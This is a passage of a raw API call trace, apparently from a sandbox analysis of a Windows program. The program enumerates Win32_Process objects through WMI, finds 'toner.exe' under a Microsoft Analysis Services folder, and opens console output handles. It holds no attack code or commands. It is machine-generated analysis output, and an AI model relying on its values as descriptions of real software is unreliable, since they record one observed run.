puBuffLength=0x5e8e5f8*=0x17, pszText=0x0) returned 0x0 [0067.603] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5f8*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e5f8*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.603] IWbemClassObject:Get (in: This=0x60fe638, wszName="Name", lFlags=0, pVal=0x5e8e5b8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ed9b0c*=0, plFlavor=0x2ed9b10*=0 | out: pVal=0x5e8e5b8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="toner.exe", varVal2=0x0), pType=0x2ed9b0c*=8, plFlavor=0x2ed9b10*=0) returned 0x0 [0067.603] SysStringLen (param_1="toner.exe") returned 0x9 [0067.603] IWbemClassObject:Get (in: This=0x60fe638, wszName="Name", lFlags=0, pVal=0x5e8e670*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ed9b0c*=8, plFlavor=0x2ed9b10*=0 | out: pVal=0x5e8e670*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="toner.exe", varVal2=0x0), pType=0x2ed9b0c*=8, plFlavor=0x2ed9b10*=0) returned 0x0 [0067.603] SysStringLen (param_1="toner.exe") returned 0x9 [0067.603] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e548 | out: puCount=0x5e8e548*=0x2) returned 0x0 [0067.603] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e544*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e544*=0x17, pszText=0x0) returned 0x0 [0067.603] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e544*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e544*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.603] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e548 | out: puCount=0x5e8e548*=0x2) returned 0x0 [0067.603] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e544*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e544*=0x17, pszText=0x0) returned 0x0 [0067.603] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e544*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e544*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.603] IWbemClassObject:GetNames (in: This=0x60fe638, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5e8e50c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5e8e4d8 | out: pNames=0x5e8e4d8*="\x01ƀ\x04") returned 0x0 [0067.603] SafeArrayGetDim (psa=0x41eaa0) returned 0x1 [0067.603] SafeArrayGetDim (psa=0x41eaa0) returned 0x1 [0067.603] SafeArrayGetLBound (in: psa=0x41eaa0, nDim=0x1, plLbound=0x5e8e0d4 | out: plLbound=0x5e8e0d4) returned 0x0 [0067.604] IWbemClassObject:Get (in: This=0x60fe638, wszName="__GENUS", lFlags=0, pVal=0x5e8e504*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ed9fd4*=0, plFlavor=0x2ed9fd8*=0 | out: pVal=0x5e8e504*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2ed9fd4*=3, plFlavor=0x2ed9fd8*=64) returned 0x0 [0067.604] IWbemClassObject:Get (in: This=0x60fe638, wszName="__CLASS", lFlags=0, pVal=0x5e8e504*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eda008*=0, plFlavor=0x2eda00c*=0 | out: pVal=0x5e8e504*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x2eda008*=8, plFlavor=0x2eda00c*=64) returned 0x0 [0067.604] SysStringLen (param_1="Win32_Process") returned 0xd [0067.604] IWbemClassObject:Get (in: This=0x60fe638, wszName="__SUPERCLASS", lFlags=0, pVal=0x5e8e504*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eda05c*=0, plFlavor=0x2eda060*=0 | out: pVal=0x5e8e504*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eda05c*=8, plFlavor=0x2eda060*=64) returned 0x0 [0067.604] IWbemClassObject:Get (in: This=0x60fe638, wszName="__DYNASTY", lFlags=0, pVal=0x5e8e504*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eda084*=0, plFlavor=0x2eda088*=0 | out: pVal=0x5e8e504*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eda084*=8, plFlavor=0x2eda088*=64) returned 0x0 [0067.604] IWbemClassObject:Get (in: This=0x60fe638, wszName="__RELPATH", lFlags=0, pVal=0x5e8e504*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eda0ac*=0, plFlavor=0x2eda0b0*=0 | out: pVal=0x5e8e504*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eda0ac*=8, plFlavor=0x2eda0b0*=64) returned 0x0 [0067.604] IWbemClassObject:Get (in: This=0x60fe638, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5e8e504*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eda0d4*=0, plFlavor=0x2eda0d8*=0 | out: pVal=0x5e8e504*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3, varVal2=0x0), pType=0x2eda0d4*=3, plFlavor=0x2eda0d8*=64) returned 0x0 [0067.604] IWbemClassObject:Get (in: This=0x60fe638, wszName="__DERIVATION", lFlags=0, pVal=0x5e8e504*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eda108*=0, plFlavor=0x2eda10c*=0 | out: pVal=0x5e8e504*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x41eaa0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x42b240, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2eda108*=8200, plFlavor=0x2eda10c*=64) returned 0x0 [0067.604] IWbemClassObject:Get (in: This=0x60fe638, wszName="__SERVER", lFlags=0, pVal=0x5e8e504*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eda140*=0, plFlavor=0x2eda144*=0 | out: pVal=0x5e8e504*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eda140*=8, plFlavor=0x2eda144*=64) returned 0x0 [0067.604] IWbemClassObject:Get (in: This=0x60fe638, wszName="__NAMESPACE", lFlags=0, pVal=0x5e8e504*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eda168*=0, plFlavor=0x2eda16c*=0 | out: pVal=0x5e8e504*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eda168*=8, plFlavor=0x2eda16c*=64) returned 0x0 [0067.605] IWbemClassObject:Get (in: This=0x60fe638, wszName="__PATH", lFlags=0, pVal=0x5e8e504*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eda190*=0, plFlavor=0x2eda194*=0 | out: pVal=0x5e8e504*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eda190*=8, plFlavor=0x2eda194*=64) returned 0x0 [0067.605] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e584 | out: puCount=0x5e8e584*=0x2) returned 0x0 [0067.605] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e580*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e580*=0x17, pszText=0x0) returned 0x0 [0067.605] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e580*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e580*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.605] IWbemClassObject:Get (in: This=0x60fe638, wszName="ProcessId", lFlags=0, pVal=0x5e8e540*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eda1f8*=0, plFlavor=0x2eda1fc*=0 | out: pVal=0x5e8e540*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x604, varVal2=0x0), pType=0x2eda1f8*=19, plFlavor=0x2eda1fc*=0) returned 0x0 [0067.605] IWbemClassObject:Get (in: This=0x60fe638, wszName="ProcessId", lFlags=0, pVal=0x5e8e5f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eda1f8*=19, plFlavor=0x2eda1fc*=0 | out: pVal=0x5e8e5f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x604, varVal2=0x0), pType=0x2eda1f8*=19, plFlavor=0x2eda1fc*=0) returned 0x0 [0067.605] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e328 | out: puCount=0x5e8e328*=0x2) returned 0x0 [0067.605] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e324*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e324*=0x17, pszText=0x0) returned 0x0 [0067.605] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e324*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e324*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.605] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e328 | out: puCount=0x5e8e328*=0x2) returned 0x0 [0067.605] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e324*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e324*=0x17, pszText=0x0) returned 0x0 [0067.605] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e324*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e324*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.605] IWbemClassObject:GetNames (in: This=0x60fe638, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5e8e2ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5e8e2b8 | out: pNames=0x5e8e2b8*="\x01ƀ\x04") returned 0x0 [0067.605] SafeArrayGetDim (psa=0x41eb00) returned 0x1 [0067.605] SafeArrayGetDim (psa=0x41eb00) returned 0x1 [0067.605] SafeArrayGetLBound (in: psa=0x41eb00, nDim=0x1, plLbound=0x5e8deb4 | out: plLbound=0x5e8deb4) returned 0x0 [0067.605] IWbemClassObject:Get (in: This=0x60fe638, wszName="__GENUS", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2edadd4*=0, plFlavor=0x2edadd8*=0 | out: pVal=0x5e8e2e4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2edadd4*=3, plFlavor=0x2edadd8*=64) returned 0x0 [0067.606] IWbemClassObject:Get (in: This=0x60fe638, wszName="__CLASS", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2edae08*=0, plFlavor=0x2edae0c*=0 | out: pVal=0x5e8e2e4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x2edae08*=8, plFlavor=0x2edae0c*=64) returned 0x0 [0067.606] SysStringLen (param_1="Win32_Process") returned 0xd [0067.606] IWbemClassObject:Get (in: This=0x60fe638, wszName="__SUPERCLASS", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2edae5c*=0, plFlavor=0x2edae60*=0 | out: pVal=0x5e8e2e4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2edae5c*=8, plFlavor=0x2edae60*=64) returned 0x0 [0067.606] IWbemClassObject:Get (in: This=0x60fe638, wszName="__DYNASTY", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2edae84*=0, plFlavor=0x2edae88*=0 | out: pVal=0x5e8e2e4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2edae84*=8, plFlavor=0x2edae88*=64) returned 0x0 [0067.606] IWbemClassObject:Get (in: This=0x60fe638, wszName="__RELPATH", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2edaeac*=0, plFlavor=0x2edaeb0*=0 | out: pVal=0x5e8e2e4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2edaeac*=8, plFlavor=0x2edaeb0*=64) returned 0x0 [0067.606] IWbemClassObject:Get (in: This=0x60fe638, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2edaed4*=0, plFlavor=0x2edaed8*=0 | out: pVal=0x5e8e2e4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3, varVal2=0x0), pType=0x2edaed4*=3, plFlavor=0x2edaed8*=64) returned 0x0 [0067.606] IWbemClassObject:Get (in: This=0x60fe638, wszName="__DERIVATION", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2edaf08*=0, plFlavor=0x2edaf0c*=0 | out: pVal=0x5e8e2e4*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x41eb00*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x42b240, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2edaf08*=8200, plFlavor=0x2edaf0c*=64) returned 0x0 [0067.606] IWbemClassObject:Get (in: This=0x60fe638, wszName="__SERVER", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2edaf40*=0, plFlavor=0x2edaf44*=0 | out: pVal=0x5e8e2e4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2edaf40*=8, plFlavor=0x2edaf44*=64) returned 0x0 [0067.606] IWbemClassObject:Get (in: This=0x60fe638, wszName="__NAMESPACE", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2edaf68*=0, plFlavor=0x2edaf6c*=0 | out: pVal=0x5e8e2e4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2edaf68*=8, plFlavor=0x2edaf6c*=64) returned 0x0 [0067.606] IWbemClassObject:Get (in: This=0x60fe638, wszName="__PATH", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2edaf90*=0, plFlavor=0x2edaf94*=0 | out: pVal=0x5e8e2e4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2edaf90*=8, plFlavor=0x2edaf94*=64) returned 0x0 [0067.607] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e364 | out: puCount=0x5e8e364*=0x2) returned 0x0 [0067.607] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e360*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e360*=0x17, pszText=0x0) returned 0x0 [0067.607] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e360*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e360*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.607] IWbemClassObject:Get (in: This=0x60fe638, wszName="ProcessId", lFlags=0, pVal=0x5e8e320*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2edaff8*=0, plFlavor=0x2edaffc*=0 | out: pVal=0x5e8e320*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x604, varVal2=0x0), pType=0x2edaff8*=19, plFlavor=0x2edaffc*=0) returned 0x0 [0067.607] IWbemClassObject:Get (in: This=0x60fe638, wszName="ProcessId", lFlags=0, pVal=0x5e8e3d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2edaff8*=19, plFlavor=0x2edaffc*=0 | out: pVal=0x5e8e3d8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x604, varVal2=0x0), pType=0x2edaff8*=19, plFlavor=0x2edaffc*=0) returned 0x0 [0067.607] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e328 | out: puCount=0x5e8e328*=0x2) returned 0x0 [0067.607] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e324*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e324*=0x17, pszText=0x0) returned 0x0 [0067.607] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e324*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e324*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.607] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e328 | out: puCount=0x5e8e328*=0x2) returned 0x0 [0067.607] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e324*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e324*=0x17, pszText=0x0) returned 0x0 [0067.607] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e324*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e324*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.607] IWbemClassObject:GetNames (in: This=0x60fe638, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5e8e2ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5e8e2b8 | out: pNames=0x5e8e2b8*="\x01ƀ\x04") returned 0x0 [0067.607] SafeArrayGetDim (psa=0x41eaa0) returned 0x1 [0067.607] SafeArrayGetDim (psa=0x41eaa0) returned 0x1 [0067.607] SafeArrayGetLBound (in: psa=0x41eaa0, nDim=0x1, plLbound=0x5e8deb4 | out: plLbound=0x5e8deb4) returned 0x0 [0067.607] IWbemClassObject:Get (in: This=0x60fe638, wszName="__GENUS", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2edb500*=0, plFlavor=0x2edb504*=0 | out: pVal=0x5e8e2e4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2edb500*=3, plFlavor=0x2edb504*=64) returned 0x0 [0067.607] IWbemClassObject:Get (in: This=0x60fe638, wszName="__CLASS", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2edb534*=0, plFlavor=0x2edb538*=0 | out: pVal=0x5e8e2e4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x2edb534*=8, plFlavor=0x2edb538*=64) returned 0x0 [0067.607] SysStringLen (param_1="Win32_Process") returned 0xd [0067.607] IWbemClassObject:Get (in: This=0x60fe638, wszName="__SUPERCLASS", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2edb588*=0, plFlavor=0x2edb58c*=0 | out: pVal=0x5e8e2e4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2edb588*=8, plFlavor=0x2edb58c*=64) returned 0x0 [0067.608] IWbemClassObject:Get (in: This=0x60fe638, wszName="__DYNASTY", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2edb5b0*=0, plFlavor=0x2edb5b4*=0 | out: pVal=0x5e8e2e4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2edb5b0*=8, plFlavor=0x2edb5b4*=64) returned 0x0 [0067.608] IWbemClassObject:Get (in: This=0x60fe638, wszName="__RELPATH", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2edb5d8*=0, plFlavor=0x2edb5dc*=0 | out: pVal=0x5e8e2e4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2edb5d8*=8, plFlavor=0x2edb5dc*=64) returned 0x0 [0067.608] IWbemClassObject:Get (in: This=0x60fe638, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2edb600*=0, plFlavor=0x2edb604*=0 | out: pVal=0x5e8e2e4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3, varVal2=0x0), pType=0x2edb600*=3, plFlavor=0x2edb604*=64) returned 0x0 [0067.608] IWbemClassObject:Get (in: This=0x60fe638, wszName="__DERIVATION", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2edb634*=0, plFlavor=0x2edb638*=0 | out: pVal=0x5e8e2e4*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x41eaa0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x42b240, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2edb634*=8200, plFlavor=0x2edb638*=64) returned 0x0 [0067.608] IWbemClassObject:Get (in: This=0x60fe638, wszName="__SERVER", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2edb66c*=0, plFlavor=0x2edb670*=0 | out: pVal=0x5e8e2e4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2edb66c*=8, plFlavor=0x2edb670*=64) returned 0x0 [0067.608] IWbemClassObject:Get (in: This=0x60fe638, wszName="__NAMESPACE", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2edb694*=0, plFlavor=0x2edb698*=0 | out: pVal=0x5e8e2e4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2edb694*=8, plFlavor=0x2edb698*=64) returned 0x0 [0067.608] IWbemClassObject:Get (in: This=0x60fe638, wszName="__PATH", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2edb6bc*=0, plFlavor=0x2edb6c0*=0 | out: pVal=0x5e8e2e4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2edb6bc*=8, plFlavor=0x2edb6c0*=64) returned 0x0 [0067.608] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e364 | out: puCount=0x5e8e364*=0x2) returned 0x0 [0067.608] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e360*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e360*=0x17, pszText=0x0) returned 0x0 [0067.608] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e360*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e360*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.608] IWbemClassObject:Get (in: This=0x60fe638, wszName="ExecutablePath", lFlags=0, pVal=0x5e8e320*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2edb724*=0, plFlavor=0x2edb728*=0 | out: pVal=0x5e8e320*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Program Files\\Microsoft Analysis Services\\toner.exe", varVal2=0x0), pType=0x2edb724*=8, plFlavor=0x2edb728*=0) returned 0x0 [0067.608] SysStringLen (param_1="C:\\Program Files\\Microsoft Analysis Services\\toner.exe") returned 0x36 [0067.609] IWbemClassObject:Get (in: This=0x60fe638, wszName="ExecutablePath", lFlags=0, pVal=0x5e8e3d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2edb724*=8, plFlavor=0x2edb728*=0 | out: pVal=0x5e8e3d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Program Files\\Microsoft Analysis Services\\toner.exe", varVal2=0x0), pType=0x2edb724*=8, plFlavor=0x2edb728*=0) returned 0x0 [0067.609] SysStringLen (param_1="C:\\Program Files\\Microsoft Analysis Services\\toner.exe") returned 0x36 [0067.613] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x77 [0067.613] GetLastError () returned 0x0 [0067.613] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x77, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0067.613] GetLastError () returned 0x0 [0067.617] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7b [0067.617] GetLastError () returned 0x0 [0067.617] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x7b, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0067.617] GetLastError () returned 0x0 [0067.621] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, 